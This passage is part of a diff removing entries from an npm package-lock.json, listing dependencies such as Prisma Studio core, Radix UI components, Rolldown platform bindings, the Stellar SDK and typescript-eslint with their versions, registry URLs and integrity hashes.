"https://registry.npmjs.org/@prisma/studio-core/-/studio-core-0.33.0.tgz", - "integrity": "sha512-V2fX/nKEymNTrHXwfP26PGjoLStO35Ogu+ex7CFJbLrMYEcZxxZpiSNOs7px23Hk5mzLWvM5RsqG6Ka+rha+wg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@radix-ui/react-toggle": "1.1.10", - "@visx/curve": "4.0.1-alpha.0", - "@visx/event": "4.0.1-alpha.0", - "@visx/grid": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/responsive": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/shape": "4.0.1-alpha.0", - "d3-array": "3.2.4", - "d3-shape": "3.2.0", - "elkjs": "0.11.1" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0", - "pnpm": "8" - }, - "peerDependencies": { - "@types/react": "^18.0.0 || ^19.0.0", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - } - }, - "node_modules/@radix-ui/primitive": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", - "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@radix-ui/react-compose-refs": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", - "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-toggle": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.10.tgz", - "integrity": "sha512-lS1odchhFTeZv3xwHH31YPObmJn8gOg7Lq12inrr0+BH/l3Tsq32VfjqH1oh80ARM3mlkfMic15n0kg4sD1poQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-controllable-state": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", - "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-effect-event": "0.0.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-effect-event": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", - "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-layout-effect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", - "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@rolldown/binding-android-arm-eabi": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.7.tgz", - "integrity": "sha512-EypzgnYCwyVY4NDHKzGmNJT5b+XaQEBniHxsMdeIQLB/tcCzZnhqrzHpZFbX9iaxx+5RiB8caATBtfvZP7zVxQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-android-arm64": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.7.tgz", - "integrity": "sha512-l17HE9EweWaqJZhuUuNBN/FzM62xw+DECVnJyvMsxn8vJFAGLy5QfLDoYAcronkAN8VxKZHezDpulHDPx95vFw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.7.tgz", - "integrity": "sha512-8ED8ELFvHXc6OCETIn4gXObPiaR6bckM/ipXtbzlPVDRMBfEGjCKgO90F9YtfdpDatVx/ZQw7aZ1vUMf/+T3Mw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.7.tgz", - "integrity": "sha512-/WPripjtiAIZ2tWY7ddijORT0Ujg87wxWW/qcoFVCKAWVDPhtY0xr7Dj0M3GyNGz60jGwTElhro/mkF9dT7dDQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.7.tgz", - "integrity": "sha512-14DI4NcqpvbICxSnGLx3PmtDaWqRP/KGSGb6C+JLLVPeZRl6dKdHba3pGsqT3vpdTqhEYIPG0MMQ8c0xYqoJxA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.7.tgz", - "integrity": "sha512-bxrWIRvHWQvbJwi+VIie/kDJmQxcNE6xxWwZdqF/ExVAigtHkv54WTLQPb+QsZdnFy18fg7JPfWGL0RH6vwIlQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.7.tgz", - "integrity": "sha512-toOY2BChBZyuxU7OYX6Tn389di4IzAqPTycVcci0O7FSfBqzRB3RZn+K5Is6ANf4tmgRd/K1yZTsNTXbkXsnLg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.7.tgz", - "integrity": "sha512-lAIXTH/aiLRLxsTgQvfhjo4K1ydWIp00+V0voOr9beb/9ZmkUFrSIb03dXNFRgMNvkE6oGsF10ioQ6UsI+vS5Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.7.tgz", - "integrity": "sha512-kdnwS28Pkenp/mZMRwjXXXwxQ7pIsm+bF919LUK93BOyhcLsrVKdP2p9fxpiPNPAbNuch8ypQt0pm2P2LYCAGg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.7.tgz", - "integrity": "sha512-516OdsyLdr5E65paF3yBF55t8mfm9+gmtCsK3xI7XKXIT7EfRlHhxL8K/NR6Hu8BWSgF5+1w74lTL0+nxcc8Qw==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.7.tgz", - "integrity": "sha512-r8/z8n7GFaYRln3xmP1Cxy0HH/HLM0uBUPkEuSVEfKGDA89M0FsZRZJRSwe/tJjRx+fpH/gjorfhB8tmEbSFLA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.7.tgz", - "integrity": "sha512-pAsE8iiDxUg1xBqdhrTfg45AVDVpirjz00sblEYClGNNcMnDb+e8beQgqIAw6LvauX/APvgxUnwrgun/YYGBhw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.7.tgz", - "integrity": "sha512-lTcIYmmnQQA8Or/2DatS6oSqcdLHvendjS+zLu+FwgToynWMRSmQdpM65fTANJgIS4mjbMOo5KT2lnT9SAb96w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.7.tgz", - "integrity": "sha512-e3Gu3WxbNk/UqQhxqU7YIYO+9ZBvWNz3U+h/qRFosscMFzdRPbXYSaSWgSnklv2fz1TgzBTcti2z35c/7irsHw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.7.tgz", - "integrity": "sha512-W/jg5qoRSqjsEv0+dZi4e687mcHqmVuU0P4fK6qS/xjetW2Gmc1W8j//z5nAeNcC8Ttm0hV46IjcYeuVwYhuiw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "peer": true, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/pluginutils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", - "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", - "dev": true, - "license": "MIT", - "peer": true - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@stellar/js-xdr": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@stellar/js-xdr/-/js-xdr-5.0.0.tgz", - "integrity": "sha512-HBDNKnxr+ecdaEmbZ0mcKkirOF8tXXEbWSw34P3wT40Tn3g+u+cCH17xAWZymzscq8cojHB8340pR8QNVaD32w==", - "license": "Apache-2.0", - "engines": { - "node": ">=22.0.0", - "pnpm": ">=10.0.0" - } - }, - "node_modules/@stellar/stellar-sdk": { - "version": "17.0.1", - "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-17.0.1.tgz", - "integrity": "sha512-fsHHbzJ14N5Ttq5Qpz4AX0ytmPSLCzcy4XC3uIgSQz0cBkEgv0Zb4KE6tWEd3nDQUk/1qP8ZX9cRonIaUXO3Sw==", - "license": "Apache-2.0", - "dependencies": { - "@exodus/bytes": "^1.15.1", - "@noble/ed25519": "^3.1.0", - "@noble/hashes": "^2.2.0", - "@stellar/js-xdr": "^5.0.0", - "@types/json-schema": "^7.0.15", - "axios": "1.18.0", - "bignumber.js": "^11.1.4", - "commander": "^14.0.3", - "eventsource": "^4.1.0", - "feaxios": "^0.0.23", - "smol-toml": "^1.6.1", - "uint8array-extras": "^1.5.0" - }, - "bin": { - "stellar-js": "bin/stellar-js" - }, - "engines": { - "node": ">=22.12.0" - } - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/d3-array": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.0.3.tgz", - "integrity": "sha512-Reoy+pKnvsksN0lQUlcH6dOGjRZ/3WRwXR//m+/8lt1BXeI4xyaUZoqULNjyXXRuh0Mj4LNpkCvhUpQlY3X5xQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-HKuicPHJuvPgCD+np6Se9MQvS6OCbJmOjGvylzMJRlDwUXjKTTXs6Pwgk79O09Vj/ho3u1ofXnhFOaEWWPrlwA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-delaunay": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.1.tgz", - "integrity": "sha512-tLxQ2sfT0p6sxdG75c6f/ekqxjyYR0+LwPrsO1mbC9YDBzPJhs2HbJJRrn8Ez1DBoHRo2yx7YEATI+8V1nGMnQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-format": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.1.tgz", - "integrity": "sha512-5KY70ifCCzorkLuIkDe0Z9YTf9RR2CjBX1iaJG+rgM/cPP+sO+q9YdQ9WdhQcgPj1EQiJ2/0+yUkkziTG6Lubg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-geo": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", - "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/geojson": "*" - } - }, - "node_modules/@types/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-jx5leotSeac3jr0RePOH1KdR9rISG91QIE4Q2PYTu4OymLTZfA3SrnURSLzKH48HmXVUru50b8nje4E79oQSQw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-color": "*" - } - }, - "node_modules/@types/d3-path": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", - "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-Yk4htunhPAwN0XGlIwArRomOjdoBFXC3+kCxK2Ubg7I9shQlVSJy/pG/Ht5ASN+gdMIalpk8TJ5xV74jFsetLA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-shape": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", - "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-path": "*" - } - }, - "node_modules/@types/d3-time": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.0.tgz", - "integrity": "sha512-sZLCdHvBUcNby1cB6Fd3ZBrABbjz3v1Vm90nysCQ6Vt7vd6e/h9Lt7SiJUoEX0l4Dzc7P5llKyhqSi1ycSf1Hg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-time-format": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-2.1.0.tgz", - "integrity": "sha512-/myT3I7EwlukNOX2xVdMzb8FRgNzRMpsZddwst9Ld/VFe6LyJyRp0s32l/V9XoUzk+Gqu56F/oGk6507+8BxrA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/esrecurse": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", - "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", - "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/geojson": { - "version": "7946.0.16", - "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", - "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "license": "MIT" - }, - "node_modules/@types/lodash": { - "version": "4.17.25", - "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.25.tgz", - "integrity": "sha512-+K1NIO8I+F9/wNulfVvu23QYd0Pe9/OCqRrim4NoYIf1VoEDL90Ve4ClzpyqBLc7NpGGWRvYNCKZ1BE/Jpf8dQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "26.4.1", - "resolved": "https://registry.npmjs.org/@types/node/-/node-26.4.1.tgz", - "integrity": "sha512-k97ENvZWtvA6yqz5/FS6a7duDgOPEeOQOc2iKS/nY6mX6qJUKtLnWzQS+Xj6tXweyj6ZcTAK2Qecetnvi9nCLA==", - "license": "MIT", - "dependencies": { - "undici-types": "~8.3.0" - } - }, - "node_modules/@types/pg": { - "version": "8.23.1", - "resolved": "https://registry.npmjs.org/@types/pg/-/pg-8.23.1.tgz", - "integrity": "sha512-fKVHpikPdg4GKks3JuLEhvwSyvwzF23hnabPy6DD8ljVbC7+6J5dQzdv4arV6jqq57djnMgs1HKBxX4P8aBI3A==", - "license": "MIT", - "dependencies": { - "@types/node": "*", - "pg-protocol": "*", - "pg-types": "^2.2.0" - } - }, - "node_modules/@types/react": { - "version": "19.2.18", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.18.tgz", - "integrity": "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.69.0.tgz", - "integrity": "sha512-t5jQTKPIgVW1PE6dR6H6Qz5gm8zjMlX5/2gRaOGd9eO6V7J+tQc6iWKukEe7dY8u9HyYasQ0yfF0/FSSTEO2gA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.12.2", - "@typescript-eslint/scope-manager": "8.69.0", - "@typescript-eslint/type-utils": "8.69.0", - "@typescript-eslint/utils": "8.69.0", - "@typescript-eslint/visitor-keys": "8.69.0", - "ignore": "^7.0.5", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.69.0", - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.8.tgz", - "integrity": "sha512-YYNsSlXBjMk92SKnkwvB5LOVSa6OznlFUGcsvrFgNJbJCd0M1XKeFVRc8ZByeCqz32FivYNHJVooLmdqrmvp/Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.69.0.tgz", - "integrity": "sha512-l4b0DhWioGg6Gt2ebGlvfkFMOjRsauxtsnDRwUSRX1qHq3HdTfQHV8wW9zEXeciai6HfeaKOedQn2Zoofx3WBw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/scope-manager": "8.69.0", - "@typescript-eslint/types": "8.69.0", - "@typescript-eslint/typescript-estree": "8.69.0", - "@typescript-eslint/visitor-keys": "8.69.0", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.69.0.tgz", - "integrity": "sha512-yi4obFrHMmnsesWehHbkg9zMA7Jt8cXT+mKM08G999pH1yT6nqgsHx7MYm0uY1wAj8CqiBXYRJ7WAT0QdQHQXg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.69.0", - "@typescript-eslint/types": "^8.69.0", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.69.0.tgz", - "integrity": "sha512-ewfspqWvSxKSOaplqAUNbaSFO0eB6w1EtQ+esfYFRm3614Ty4uNtExkcbgd6nWsXphbqKyf9ZYdbZdv2xEoWEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.69.0", - "@typescript-eslint/visitor-keys": "8.69.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.69.0.tgz", - "integrity": "sha512-xNqK7YTDZsLniQMV/4rpFR8Z5JlqeRvVjuG1YgF/mdPVH84HSD19L8CczMA0qg2RfwEV231GHH3VnToJDo4MfQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - 